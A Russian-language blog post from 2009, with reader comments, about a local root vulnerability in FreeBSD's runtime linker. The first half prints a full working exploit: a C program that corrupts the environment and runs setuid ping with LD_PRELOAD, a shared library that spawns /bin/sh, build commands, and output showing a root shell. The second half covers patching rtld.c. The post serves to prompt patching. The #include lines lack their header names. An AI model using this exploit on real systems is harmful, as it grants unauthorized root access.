Заметка юзера Gol

Я пропатчил фрю, а вы?

софт фря freebsd памятка

Надо, полюбас надо. Делается быстро и несложно. Эксплойт тож очень простой. И очень стрёмный. Точняк, надо сюда добавить в качестве памятки.

Итак. 1-го декабря было опубликовано сообщение о критической локальной уязвимости FreeBSD. Почти сразу же вышел и эксплоит. Уязвимость невероятно дурацкая, так что эксплоит офигенно простой.

Продолжение...


Вот, собссно, эксплоит:
Создаём (в любом месте) файл env.c
[code]#include

main() {
extern char **environ;
environ = (char**)malloc(8096);

environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

execl("/sbin/ping", "ping", 0);
}[/code]
Компилим его командой gcc env.c -o env

Затем создаём второй файл, program.c
[code]#include
#include
#include
#include

void _init() {
extern char **environ;
environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
}[/code]
Компилим его -
[code]gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles[/code]

Копируем получившуюся библиотеку в темп -
[code]cp w00t.so.1.0 /tmp/w00t.so.1.0[/code]
После чего запускаем первый файл
./env

В случае, если фря дырявой версии, видим примерно следующее
[code]%./env
env.c: In function 'main':
env.c:5: warning: incompatible implicit declaration of built-in function 'malloc'
env.c:9: warning: incompatible implicit declaration of built-in function 'strcpy'
env.c:11: warning: incompatible implicit declaration of built-in function 'execl'
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
ALEX-ALEX
#[/code]
Приглашение командной строки стало # - мы под рутом. Привилегии проверяем
#uname -a;id;

В выводе будет присутствовать euid=0(root). Короче, пипец. Кто бы никем тот стал всем :-)
Уязвимые версии:

FreeBSD 8.0-RELEASE *** VULNERABLE (уязвима)
FreeBSD 7.1-RELEASE *** VULNERABLE (уязвима)
FreeBSD 6.3-RELEASE *** NOT VULN (нифига не уязвима)
FreeBSD 4.9-RELEASE *** NOT VULN (нифига не уязвима)



Теперь как от этого безобразия защититься. Можно вот таким макаром:
[code]% cd /usr/src/libexec/rtld-elf/
% fetch http://people.freebsd.org/~cperciva/rtld.patch
% cat rtld.patch | patch -p1
% make && make install && make clean[/code]

У меня на 7.1 данный патч не сработал, пришлось руками. Описание есть на Хабре. Подходит для фри версий 7.1-7.2

Ищем файл rtld.c Он должен лежать в /usr/src/libexec/rtld-elf
На всяк случай сохраняем его куда-нибудь. После чего ищем в rtld.c кусок кода
[code] if (!trust) {
unsetenv(LD_ "PRELOAD");
unsetenv(LD_ "LIBMAP");
unsetenv(LD_ "LIBRARY_PATH");
unsetenv(LD_ "LIBMAP_DISABLE");
unsetenv(LD_ "DEBUG");
}
[/code]
Меняем его на
[code]if (!trust) {
// unsetenv(LD_ "PRELOAD");
// unsetenv(LD_ "LIBMAP");
// unsetenv(LD_ "LIBRARY_PATH");
// unsetenv(LD_ "LIBMAP_DISABLE");
// unsetenv(LD_ "DEBUG");
if (unsetenv(LD_ "PRELOAD") || unsetenv(LD_ "LIBMAP")||
unsetenv (LD_ "LIBRARY_PATH") || unsetenv(LD_ "LIBMAP_DISABLE") ||unsetenv(LD_ "DEBUG")
|| unsetenv(LD_ "ELF_HINTS_PATH")) {
_rtld_error("environment corrupt; aborting");
die();
}
}[/code]
После чего собираем и устанавливаем
#make && make install

Если теперь попробовать запустить эксплоит то увидим
[code]$ ./env
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; aborting
[/code]
Вуаля, дырка закрыта.

Рецепты взяты с Хабра и успешно опробованы.
Уязвимость в FreeBSD.Исправляем критическую уязвимость на FreeBSD в 4 шага.
Копия в ЖЖ Gol      Суббота, 5 Декабря, 2009 02:19       3


Добавить комментарий
 

SysCat Воскресенье, 6 Декабря, 2009 12:25 цитировать ссылка на коммент

Я воль, наитюрлих, на хабре прочел и пропатчил, рекомендую тут проапдейтить и выложить инфу для остальных. А то то там иногда темы удаляют.

 

 

SysCat Воскресенье, 6 Декабря, 2009 20:09 цитировать ссылка на коммент

Воде как вот эти коммандочки

cd /usr/src/libexec/rtld-elf/

fetch http://people.freebsd.org/~cperciva/rtld.patch

cat rtld.patch | patch -p1

make && make install && make clean

 

 

Gol Воскресенье, 6 Декабря, 2009 22:21 цитировать ссылка на коммент

В 7.1 так не прокатывает. Ручками надыть.

 

Сколько букв в слове Гол?

Вы вошли как Гость      

Сейчас на сайте: 0
и 1 гостей






Страница сгенерирована за 0.0045120716094971 мкс

cached